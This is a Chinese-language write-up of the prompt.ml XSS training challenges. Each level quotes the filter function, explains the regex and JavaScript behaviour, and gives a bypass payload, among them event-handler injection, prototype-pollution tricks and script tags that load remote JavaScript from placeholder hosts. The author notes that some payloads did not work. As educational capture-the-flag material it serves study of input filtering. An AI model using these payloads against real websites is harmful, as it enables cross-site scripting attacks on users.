prompt-0
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
首先我们看到源码之后,发现只是对我们输入的数据进行了拼接没有进行过滤,所以我们直接根据其拼接的规则来构造即可。
payload:
1"><script>prompt(1)</script>
prompt-1
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
这一关我们拿到源码之后我们可以发现这次使用了正则的方式对我们输入的字符串进行了过滤,我们先了解一下js中的replace函数
replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。
stringObject.replace(regexp/substr,replacement)
regexp/substr 必需。规定子字符串或要替换的模式的 RegExp 对象。请注意,如果该值是一个字符串,则将它作为要检索的直接量文本模式,而不是首先被转换为 RegExp 对象。
replacement 必需。一个字符串值。规定了替换文本或生成替换文本的函数。
返回值
一个新的字符串,是用 replacement 替换了 regexp 的第一次匹配或所有匹配之后得到的。
这一关用到的正则符号介绍
? 匹配前一项0次或1次 等价于{0,1}
[^…] 不在方括号内的任意字符
+ 匹配前一项1次或多次 等价于{1,}
i:执行不区分大小写的匹配
g:执行一个全局匹配,简言之,即找到所有的匹配,而不是在找到第一个之后就停止
了解过这些之后我们就可以推出匹配的规则:
最开始匹配一个<
,然后匹配/
零次到一次,除了>
符号的一次或多次,最后匹配一个>
,进行全局匹配不区分大小写。
也就是如果在一个<>闭合之中,除了>
其他的都要被替换为空。所以我们在构造语句的时候不能使用>进行闭合。
payload:
<img src=# onerror="prompt(1)" (当图片引用的资源不存在的时候就会执行onerror)
<body onload=prompt(1)// (onload事件会在图片或页面加载完毕之后立即执行)
prompt-2
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
这一关的源码我们可以看到,它匹配到=
和)
,将会将其替换为空。
[…] 匹配方括号内的任意字符
payload:
<svg><script>prompt(1)</script>
由于过滤了(
,但是我们执行函数还是需要闭合括号,所以我们需要进行绕过,而我们输入完数据之后,js代码先于html代码执行,就是先进行了正则过滤,然后执行html标签,所以我们使用<svg>
会将标签中的内容当作xml实体来解析,所以我们使用xml的转义符号来代替(
,该标签会将xml实体在html解析之前进行解析再添加到标签中,正好在js代码过滤之后html执行之前进行了替换,完成绕过。
还可以使用js中的eval函数
<script>eval.call`${'prompt\x281)'}`</script>
xml转义符号对照表:
http://tools.jb51.net/table/html_escape
prompt-3
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
我们分析源码,根据正则可以知道,他将->
替换为了_
,而且源码中将我们输入的数据拼接在了注释符中,我们需要绕过其注释。
payload:
--!><script>prompt(1)</script>
我们也可以使用--!>
进行闭合,最终绕过过滤。
prompt-4
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
函数介绍:
test() 方法用于检测一个字符串是否匹配某个模式.
RegExpObject.test(string)
string 必需。要检测的字符串。
返回值 如果字符串 string 中含有与 RegExpObject 匹配的文本,则返回 true,否则返回 false。
decodeURIComponent() 函数可对 encodeURIComponent() 函数编码的 URI 进行解码。
decodeURIComponent(URIstring)
URIstring 必需。一个字符串,含有编码 URI 组件或其他要解码的文本。
返回值 URIstring 的副本,其中的十六进制转义序列将被它们表示的字符替换。
正则符号
^ 匹配字符串的开头,在多行检索中,匹配一行的开头
(…) 组合,将几个项组合为一个单元,这个单元可通过*,+,?,|等符号加以修饰,而且可以记住和这个组合相匹配的字符串以供此后的引用使用
这里我们通过源码知道,他会匹配一个引用源文件的地址,他的目的是前面匹配(http/https/无)//prompt.ml/
后面的内容不进行限制,意思就是我规定了你引用内容的站点,其中他还会使用decodeURIComponent函数对我么输入的内容进行url解码,如果我们想要绕过限制来引入其他站点的资源,我们可以使用如下方式
payload:
http://prompt.ml%2f@testweb.com/xss.js
scheme://login:password@address:port/path/to/resource?query_string#fragment
这是一个符合url规范的写法,其中login:password这一部分就是访问资源的身份验证这是一个可选项,在向服务器获取数据时,有可能要在该位置制定一个用户名或者密码用来进行身份验证,身份验证信息的传输是和协议相关的。大多数浏览器对身份验证部分的数据几乎可以接受任何字符,,但是safari拒绝了”<,>,{,}”,firefox还拒绝换行符。
但是我们在后面添加一个login:password
后面添加一个/不符合这个规则,所以我们可以使用%2f来代替/
,这样既符合了正则的规则后面匹配了/
,也符合了url的规则,成功绕过。
prompt-5
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
这一关中还是用了正则的替换,
|:或操作,字符具有高于替换运算符的优先级,使得"m|food"匹配"m"或"food"。若要匹配"mood"或"food",请使用括号创建子表达式,从而产生"(m|f)ood"
. 除换行符和其他Unicode行终止符之外的任意字符
+ 匹配前一项1次或多次 等价于{1,}
? 非贪懒匹配
这里将>
,on任意字符=
,focus
全部替换为_
,然后将我们输入的数据进行拼接,我们可以使用如下方式进行绕过:
payload:
" type="image" src=# onerror
="prompt(1)
这里我们首先闭合之前的双引号,之后将标签的属性重新定义为图片,然后添加错误执行的函数,在html中描述属性不在同一行不影响解析,而且正则中的点不会匹配换行,所以我们可以使用换行来绕过onerror=的过滤。
prompt-6
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
首先将我们输入的内容以#
进行分割,然后拿到分割的第一个元素当做url,第二个元素当做数据,然后创建一个from标签,将from的跳转路径(action属性)设置为得到url,方式为post,然后将json格式化的参数逐个放到from下的input(为from添加字标签)标签的value中。然后将该from标签以html格式和字符串拼接,这个字符串的内容是获取当前页面中的第一个from标签,如果标签的跳转(action属性)中不包含script:或data:则直接将form标签提交(跳转),大小写不敏感,否则就不跳转。
正常情况下action获取的是form的请求路径,测试代码如下:
<form action="http://www.baidu.com" method="post">
</form>
<script>alert(document.forms[0].action)</script>
我们经过测试,使用forms.action获取的可能是是属性,也可能是其下面字标签的name中为action的标签,测试如下:
<form action="1" method="post">
<input name="action" value="我其实是一个标签">
<input name="abc" value="我是abc">
</form>
<script>alert(document.forms[0].action.value)</script>
<form action="1" method="post">
<input name="action" value="我其实是一个标签">
<input name="abc" value="我是abc">
</form>
<script>alert(document.forms[0].action)</script>
这种情况是由于action有两个,不过获取的时候直接获取的是最后一个符合条件的属性,所以这里获取的是子标签,我们可以利用这个方式绕过过滤,让其检测的内容是我们第二个标签即可。
payload:
javascript:prompt(1)#{"action":1}
prompt-7
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
我们拿到源码之后,经过我们分析,首先还是将我们输入的字符串以#
进行分割,然后对分割后得到的每一个元素放到匿名函数中执行,对每一个元素中从0的位置开始取,取到12的位置,不包含12,也就是从零开始取12个。不过我们这里传入的是字符串,使用slice是截取字符串中的前12个字符。然后将分割后的字符串添加到p标签的title属性中。
slice() 方法可从已有的数组中返回选定的元素。
arrayObject.slice(start,end)
start 必需。规定从何处开始选取。如果是负数,那么它规定从数组尾部开始算起的位置。也就是说,-1 指最后一个元素,-2 指倒数第二个元素,以此类推。
end 可选。规定从何处结束选取。该参数是数组片断结束处的数组下标。如果没有指定该参数,那么切分的数组包含从 start 到数组结束的所有元素。如果这个参数是负数,那么它规定的是从数组尾部开始算起的元素。
payload:
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
我么可以分段加上使用注释符号来绕过。
prompt-8
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}
这次我们可以看到拿到我们输入的内容之后,首先将里面的\r
,\n
,<
,/
,"
全部替换为空,然后将我们输入的内容拼接到字符串中返回,拼接过后的内容是将我们输入的内容以日志形式打印到console中,不过打印日志那句话被//注释掉了。
这里的目的是方式我们换行绕过他们的注释,不过这里我么可以使用unicode来实现:
u2028是unicode中的分隔符
u2029是unicode中的段落分割符
然后我们用-->注释掉后面不用的内容,所以我么你可以这样写
payload:
\u2028prompt(1)\u2028-->
不过直接这样写是无法成功的,我们需要对u2028和u2029使用unicode解码,解码之后就成了这样
prompt(1)
-->
,看似只剩下这些了,不过我们将其复制到记事本中就可以看到如下样式:
然后我们将解码过后的内容复制到提交区即可。
prompt-9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();//将字符串转为大写
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
方法介绍:
toUpperCase()函数用于将当前字符串中的所有字母转为大写,并返回转换后的字符串。该函数基于常规的Unicode大小写映射进行转换。
这一关,我们拿到源码之后,发现其匹配所有的<加字母
,然后将其中间添加一个_
,接着将我们输入的内容转为大写。由于函数可以转换unicode,所以我们可以使用其他国家中的字符比如拉丁文中的小写s:ſ
,这个通过toUpperCase转换之后就会成为S。
payload:
<ſcript src="http://xxx.com/xss.js"></script>
最终我们通过加载远程的js文件完成绕过。
prompt-10
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
encodeURIComponent(URIstring)
URIstring 必需。一个字符串,含有 URI 组件或其他要编码的文本。
返回值
URIstring 的副本,其中的某些字符将被十六进制的转义序列进行替换。
说明:
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
提示:请注意 encodeURIComponent() 函数 与 encodeURI() 函数的区别之处,前者假定它的参数是 URI 的一部分(比如协议、主机名、路径或查询字符串)。因此 encodeURIComponent() 函数将转义用于分隔 URI 各个部分的标点符号。
这次我们根据源码的分析得知,其会将一些用来分割url的字符进行url编码,然后将起其中包含的prompt替换为alert以及单引号替换为空。
经过我们对编码函数的分析,我们可以知道'
不会被编码,然后之后的过滤中将'
替换为空,所以我们可以使用如下方式绕过:
payload:
pro'mpt(1)
prompt-11
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}
源码中首先使用正则将我们输入的字符替换为空
[|\s+*/\\<>&^:;=~!%-
然后将我们输入的数据拼接到一个json形式的字符串中。然后判断action的只是否为"login",如果是就将message的内容写到页面中。这里我们的符号都被过滤了,无法将数据写到message中执行,在这里我们可以使用instanceof来进行绕过,instanceof可以用来判断一个对象是否属于一个类型,我们还可以使用in,in用来判断一个对象是否在一个类型中。
经过我们测试其有如下效果:
<script>
var a = {"a":"b","c":"d"(prompt("test"))in"."};
alert(123);
</script>
最后输出了test,但是没有输出123,这里虽然数据赋值的时候出现了错误,导致alert(123)没有执行,但是(prompt("test"))in"."却完执行了判断,所以我们可以使用这种方式来绕过,这里的in替换为instanceof效果相同。为了执行我们的代码,我们需要先闭合之前的双引号,最后闭合后面的双引号。
payload:
"(prompt(1))in" //方法一
"(prompt(1))instanceof" //方法二
prompt-12
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
通过源码分析,首先通过encodeURIComponent进行url编码,然后将单引号替换为空,紧接着又将prompt替换为alert,这和之前的一道题很类似,只是替换的顺序改了,我么可以提前对要执行的字符串进编码,然后过滤完毕执行的时候先进行解码,然后再执行。
这里我们可以使用parseInt函数
parseInt() 函数可解析一个字符串,并返回一个整数。
parseInt(string, radix)
string
必需。要被解析的字符串。
radix
可选。表示要解析的数字的基数。该值介于 2 ~ 36 之间。
如果省略该参数或其值为 0,则数字将以 10 为基础来解析。如果它以 “0x” 或 “0X” 开头,将以 16 为基数。
如果该参数小于 2 或者大于 36,则 parseInt() 将返回 NaN。
toString() 方法可把一个 Number 对象转换为一个字符串,并返回结果。
NumberObject.toString(radix)
radix 可选。规定表示数字的基数,使 2 ~ 36 之间的整数。若省略该参数,则使用基数 10。但是要注意,如果该参数是 10 以外的其他值,则 ECMAScript 标准允许实现返回任意值。
由于我们这里使用的prompt
使用到了t,所以进制转换中我们需要大于t
也就是大于29即可。
首先我们使用这个函数得到编码之后的数字630038579
,加下来放入替换掉prompt的位置即可,然后使用toString解码即可。
eval((630038579).toString(30))(1)
prompt-13
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
arguments 是一个对应于传递给函数的参数的类数组对象
function fun1(a,b,c){
var a1 = arguments[0];//a
}
JSON.parse() 方法用于将一个 JSON 字符串转换为对象。
JSON.parse(text[, reviver])
text:必需, 一个有效的 JSON 字符串。
reviver: 可选,一个转换结果的函数, 将为对象的每个成员调用此函数。
返回值:
返回给定 JSON 字符串转换后的对象。
正则中\w 元字符用于查找单词字符。
单词字符包括:a-z、A-Z、0-9,以及下划线, 包含 _ (下划线) 字符。
这次的源码还是有点复杂的,首先将我们输入的字符串转为json对象,然后自己写了一个extend函数将我们输入的json数据扩展到他原有的json数据中,然后将包含:
,/
,.
还有所有数字,大小写字母之外的所有字符的source删除,接着将source中包含的双引号替换为空。最终将source中当做img标签中的src。
这里我们可以看到其源码中原来就有一个source的key,不过我们可以传递一个同样叫做source的key,将我们的值替换掉他们的值,不过我们这里还需要用到一个js的属性。
proto:每一个对象都会在内部初始化这个属性,党访问对象的某个属性不存在的时候,就会到proto里去寻找。我们进行一下测试:
<script>
var input = {"a":"a","__proto__":{"a":"test"}};
document.write(input.a);
delete input.a;
document.write("</br>");
document.write(input.a);
</script>
输出结果:
a
test
由于其过滤了我们source中的双引号,所以我们需要想办法绕过,否则我们构造的内容无法被执行,接下来我们需要使用正则中的一个规则:
$$ 插入一个“ $”。
$& 插入匹配的子字符串。
$` 插入匹配的子字符串之前的字符串部分。
$' 插入匹配的子字符串之后的字符串部分。
$n 其中n是小于100的正整数,如果第一个参数是RegExp对象,则插入第n个带括号的子匹配字符串。请注意,这是1索引的。
我们看到在源码的最后返回的时候使用正则替换的数据,所以我们可以使用$`匹配这个位置之前的字符放到自己前面,这样就有了两个双引号,可以闭合src的内容,我们的代码就可以执行了。
payload:
{"source":"-","__proto__":{"source":"$`onerror=prompt(1)>"}}
整体的逻辑是首先我们在第一个位置的source中填写一个不符合要求的字符,这样过滤的时候就会将其删掉,然后就会获取我们指定内容的source,然后使用正则匹配出前半部分的字符,因为带有双引号,所以闭合完成绕过。
prompt-14
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '<img src="' + input + '">';
}
这次的源码比较简单粗暴,拿到我们输入的内容直接转大写,然后将//
或大小写字母以及数字加:
替换为data
,例如://
和abc123:
都会替换为data:
。然后将\
,&
,+
,%
,\s(空格)
或者vbs
替换为_
,最后将过滤后的字符拼接到img标签的src中。
这种过滤我们没有办法直接执行代码,不过我们可以应用外部的js脚本来执行。
Data URI,我们可以使用来将小文件直接写入的方式引入文件,格式如下:
data:[<MIME type>][;charset=<charset>][;base64],<encoded data>
这个整体可以分为三个部分,声明:参数+数据,其中逗号左边的都是参数,右边的是数据。MIME type表示数据的格式,就是我们指定嵌入数据的MIME。
1.这里我们引用的是图片,所以格式是image/png或者其他图片格式,如果没有指定这里的格式默认是text/plain。
2.character set(字符集)一般使用默认的charset=US-ASCII,如果我们指定的数据是图片,则字符集不再使用。
3.base64,这一部分是编码格式,我们这里使用的base64,也可以不使用base64,这样使用的是URL编码方式。
一般我们从外部引入资源的写法:
<img src="www.xxxx.com/1.jpg" alt="">
我们使用data URI的方式可以这样写:
<img src="data:image/jpng;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="">
我们直接把图片的内容内置在了HTML中。
介绍完这些之后,我们可以根据以上内分析出payload,不过未实现
payload:
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
prompt-15
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
通过分析源码,我们可以知道首先过滤了*
,然后将我们输入的数据以#
分割,紧接着将我们分割之后的字符串的前12个拼接到p标签的title中,序号(默认从0开始)拼接到id中。
这次我们可以将注释符号进行替换为<svg>中的<!---->注释
payload:
"><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script>
模板格式:
"><script>`#${prompt(1)}#`</script>
prompt-Hidden-1
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}
首先经过我们分析,会过滤掉}
和<
,然后将我们,我们看到最后一部分替换,我们可以想到第13关中使用的正则方法,不过这里我们还需要将history.length>1337。
使用官方的方法未成功。